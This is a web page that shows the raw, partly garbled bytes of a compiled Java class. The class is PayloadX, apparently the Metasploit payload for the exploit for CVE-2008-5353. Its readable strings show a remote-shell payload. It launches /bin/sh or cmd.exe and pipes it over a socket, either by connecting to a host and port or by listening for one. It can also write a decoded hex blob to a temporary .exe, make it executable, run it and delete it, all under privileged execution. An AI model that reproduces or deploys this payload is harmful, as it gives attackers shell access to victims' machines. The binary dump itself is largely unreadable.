Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2008-5353/bin/msf/x/PayloadX.class
Views: 11791
���� - � msf/x/PayloadX java/lang/Object 'java/security/PrivilegedExceptionAction data Ljava/lang/String; lhost lport I <clinit> ()V Code
LineNumberTable LocalVariableTable
StringToBytes (Ljava/lang/String;)[B
java/lang/String length ()I
! " charAt (I)C
$ & % java/lang/Character ' ( digit (CI)I s [B i run ()Ljava/lang/Object;
Exceptions 0 java/lang/Exception 2 os.name
4 6 5 java/lang/System 7 8 getProperty &(Ljava/lang/String;)Ljava/lang/String; : /bin/sh < Windows
> ? @ indexOf (Ljava/lang/String;)I B cmd.exe D java/net/ServerSocket
C F G H <init> (I)V
C J K L accept ()Ljava/net/Socket; N java/net/Socket
M P G Q (Ljava/lang/String;I)V
S U T java/lang/Runtime V W
getRuntime ()Ljava/lang/Runtime;
S Y Z [ exec '(Ljava/lang/String;)Ljava/lang/Process; ] msf/x/PayloadX$StreamConnector
_ a ` java/lang/Process b c getInputStream ()Ljava/io/InputStream;
M e f g getOutputStream ()Ljava/io/OutputStream;
\ i G j >(Lmsf/x/PayloadX;Ljava/io/InputStream;Ljava/io/OutputStream;)V
l n m java/lang/Thread o
start
M a
_ e s java/lang/StringBuffer u java.io.tmpdir
w x y valueOf &(Ljava/lang/Object;)Ljava/lang/String;
r { G | (Ljava/lang/String;)V ~ � java/io/File � separator
r � � � append ,(Ljava/lang/String;)Ljava/lang/StringBuffer;
� � � java/lang/Math � � random ()D
r � � � (D)Ljava/lang/StringBuffer; � .exe
r � � � toString ()Ljava/lang/String; � java/io/FileOutputStream
� {
�
� � � � write ([B)V
� � �
close �
chmod 755
_ � � waitFor
~ {
~ � � � delete ()Z this Lmsf/x/PayloadX; os
client_socket Ljava/net/Socket; shell
server_socket Ljava/net/ServerSocket; process Ljava/lang/Process; path p fos Ljava/io/FileOutputStream;
� G
� � � java/security/AccessController � � doPrivileged =(Ljava/security/PrivilegedExceptionAction;)Ljava/lang/Object;
SourceFile
PayloadX.java InnerClasses StreamConnector !
; � � \� � � :*� l�L=� %+ l* � � #x* `� � #`�T� *� ���+� E G H - G 8 J : ) 1 * - + , - . / � � �1� 3L� � � uM9N+;� =� AN� � � CY� � E:� IM� � MY� � � OM,� �� R-� X:� \Y*� ^,� d� h� k� \Y*,� p� q� h� k� �� rYt� 3� v� z� }� �� �� ��� �� �M� �Y,� �:� � �� �� �+;� =� � R� rY�� z,� �� �� XN-� �W� R,� XN-� �W� ~Y,� �� �W� L� / r Q R V Z \ ^ ` % a ( c . e : f C j Q m U o ^ q r s � x � { � } � ~ � � � � � � � � � � � � � � f
� � � � p � � m � : � � ^ ( � � � X � � � � � � � � N � � G
L *� �*� �W� L� / � � �
� � � � � �
\ �